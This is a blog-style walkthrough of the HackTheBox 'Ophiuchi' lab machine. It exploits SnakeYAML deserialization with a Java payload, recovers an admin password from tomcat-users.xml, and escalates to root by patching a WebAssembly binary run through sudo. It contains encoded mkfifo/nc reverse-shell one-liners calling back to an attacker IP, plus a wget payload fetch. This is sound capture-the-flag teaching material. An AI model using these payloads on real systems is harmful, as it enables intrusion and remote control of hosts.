Wed 17 Feb 2021 01:05:18 AM +01
Hi everyone, m3dsec here, on this little walk, i'll be explaining how i solved Ophiuchi machine From Hackthebox, A Linux box that exposes a vulnerable yaml parser that we will abuse to get inside our target host, from there we will priv-escalate horizontally to the admin user account, Who have some special privileges over a little GoLang script that load an external webassembly binary file, Tweaking that webassembly binary, will provide us with code execution as root on the box
Machine Name : Ophiuchi IP Adress : 10.10.10.227 OS : Linux Creator : felamos Difficulty : Medium Base Points : 30
As usuall we start scaning using nmap
, found two open TCP ports, SSH (22) and HTTP (8080)
m3dsec@local:~/ophiuchi.htb$ nmap -p- -v -min-rate 1000 -oA nmap/nmap-tcp-full 10.10.10.227 # Nmap 7.91 scan initiated Mon Feb 15 21:32:13 2021 as: nmap -p- -v -min-rate 1000 -oA nmap/nmap-tcp-full 10.10.10.227 Increasing send delay for 10.10.10.227 from 0 to 5 due to 42 out of 138 dropped probes since last increase. Increasing send delay for 10.10.10.227 from 640 to 1000 due to 43 out of 143 dropped probes since last increase. Warning: 10.10.10.227 giving up on port because retransmission cap hit (10). Nmap scan report for ophiuchi.htb (10.10.10.227) Host is up (0.093s latency). Not shown: 61527 closed ports, 4006 filtered ports PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy Read data files from: /usr/bin/../share/nmap
On port 8080 we have a little parser, with a big title that say's ONLINE YAML PARSER,
For further explanation about the attack and how this was done, check Swapneil Kumar Dash , he already wrote a well explained article explaining the how and why
But first just to make sure that the app is vulnerable, I had to setup a local web server and send a request back to it.
As we can see, javax.script.ScriptEngineFactory
was requested successfully.
There is also a tiny project to generate SnakeYAML deserialization payloads here, Lets Clone it
user@local:~/ophiuchi.htb/exp$ git clone https://github.com/artsploit/yaml-payload Cloning into 'yaml-payload'... remote: Enumerating objects: 10, done. remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10 Receiving objects: 100% (10/10), done.
Generate an encoded reverse shell:
user@local:~/ophiuchi.htb$ /bin/echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.40 9991 >/tmp/f'|base64 -w0|awk '{print "bash -c {echo,"$0"}|{base64,-d}|{bash,-i}"}' bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNDAgOTk5MSA+L3RtcC9mCg==}|{base64,-d}|{bash,-i}
We then modify on AwesomeScriptEngineFactory.java
, To get something equal to:
user@local:~/ophiuchi.htb/exp$ cat yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java|grep exec Runtime.getRuntime().exec("bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNDAgOTk5MSA+L3RtcC9mCg==}|{base64,-d}|{bash,-i}");
Compile
user@local:~/ophiuchi.htb/exp/yaml-payload$ ll total 24K drwxr-xr-x 4 user user 4.0K Feb 17 01:43 . drwxr-xr-x 3 user user 4.0K Feb 17 01:43 .. drwxr-xr-x 8 user user 4.0K Feb 17 01:43 .git drwxr-xr-x 4 user user 4.0K Feb 17 01:43 src -rw-r--r-- 1 user user 53 Feb 17 01:43 .gitignore -rw-r--r-- 1 user user 623 Feb 17 01:43 README.md user@local:~/ophiuchi.htb/exp/yaml-payload$ javac src/artsploit/AwesomeScriptEngineFactory.java Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true user@local:~/ophiuchi.htb/exp/yaml-payload$ ls src/artsploit/ AwesomeScriptEngineFactory.class AwesomeScriptEngineFactory.java
Again Server The payload with a simple python http server and setup a listener, hit parse and your shell will get back to you:
Now, as inside, I started by enumerating the environment, Tho the first file i checked included the admin password :
/opt/tomcat/conf$ cat tomcat-users.xml|grep -i pass <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> you must define such a user - the username and password are arbitrary. It is them. You will also need to set the passwords to something appropriate. <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/>
I then simply loged in as admin, either su or ssh works just fine:
$ su admin Password: whythereisalimit id uid=1000(admin) gid=1000(admin) groups=1000(admin) python3 -c 'import pty; pty.spawn("/bin/bash")' admin@ophiuchi:/opt/tomcat/conf$
as admin, listing priveleges with sudo -l
, show us the next step
admin@ophiuchi:/opt$ sudo -l Matching Defaults entries for admin on ophiuchi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
The admin user had the privileges to run /opt/wasm-functions/index.go
as root
reading /opt/wasm-functions/index.go
package main import ( "fmt" wasm "github.com/wasmerio/wasmer-go/wasmer" "os/exec" "log" ) func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) } }
What this code does, is using the famous wasmer-go runtime to read/extract a funtion result called info
from main.wasm
binary, it then assing that value to the variable f
, check if its not equal to 1, if it does then it execute deploy.sh
.
Running that snipet code, give us Not ready to deploy
, its simply telling us that the result comming from main.wasm
binary is 0.
admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
admin@ophiuchi:/opt/wasm-functions$
I Then localy proceeded reversing main.wasm
using wasm2wat from wabt (WebAssembly Binary Toolkit).
user@local:~/ophiuchi.htb/files/wasm-functions$ wasm2wat main.wasm (module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) i32.const 0) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (i32.const 1048576)) (global (;1;) i32 (i32.const 1048576)) (global (;2;) i32 (i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2))) user@local:~/ophiuchi.htb/files/wasm-functions$ wasm2wat main.wasm > modified-code.wat
The wasm code itself wasn't that complicated:
(type (;0;) (func (result i32)))
block specifies a type, This can be used when performing type checking maybe later on, On the same block we have our 1st function that return a result of 32-bit integer.(func $info (type 0) (result i32)
we have a function with the name info, and this is what our go program is looking for, also the result it gives must be an interger of 32-biti32.const 0
defines a 32-bit integer and pushes it onto the stackNow here we don't really need to understand the whole code block, we can simply modify on that constant integer to 1, so when our program grab the result, we get a successfull execution.
(module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) .const">i32.const 1) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (.const">i32.const 1048576)) (global (;1;) i32 (.const">i32.const 1048576)) (global (;2;) i32 (.const">i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2)))
Recompile it again, using wat2wasm :
user@local:~/ophiuchi.htb/files/wasm-functions$ wat2wasm modified-code.wat -o modified-code.wasm
Send The modified files into the target host, and append a reverse shell into a file called deploy.sh
:
admin@ophiuchi:/dev/shm$ wget 10.10.14.40/modified-code.wasm -O main.wasm --2021-02-17 02:18:42-- http://10.10.14.40/modified-code.wasm Connecting to 10.10.14.40:80... connected. HTTP request sent, awaiting response... 200 OK Length: 112 [application/wasm] Saving to: ‘main.wasm’ main.wasm 100%[======================================================>] 112 --.-KB/s in 0.003s 2021-02-17 02:18:42 (31.3 KB/s) - ‘main.wasm’ saved [112/112] admin@ophiuchi:/dev/shm$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.40 9991 >/tmp/f' > deploy.sh;chmod +x deploy.sh admin@ophiuchi:/dev/shm$ ll total 8 drwxrwxrwt 2 root root 80 Feb 17 02:19 ./ drwxr-xr-x 17 root root 3920 Feb 16 07:19 ../ -rwxrwxr-x 1 admin admin 79 Feb 17 02:19 deploy.sh* -rw-rw-r-- 1 admin admin 112 Feb 17 02:14 main.wasm
Set up a listener on our attacking box, and Trigger the exploit by running the go source code :
admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
And we got a shell back to our host
user@local:~/ophiuchi.htb/files/wasm-functions$ nc -vnlp 9991 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9991 Ncat: Listening on 0.0.0.0:9991 Ncat: Connection from 10.129.84.176. Ncat: Connection from 10.129.84.176:57380. # id uid=0(root) gid=0(root) groups=0(root) #
it was a lot of fun solving this box, big thanks to felamos for his amazing work, Also im alwasy open for any corrections or questions, Please feel free to contact me
@m3dsec.
https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858
https://developer.mozilla.org/en-US/docs/WebAssembly/Text_format_to_wasm
https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format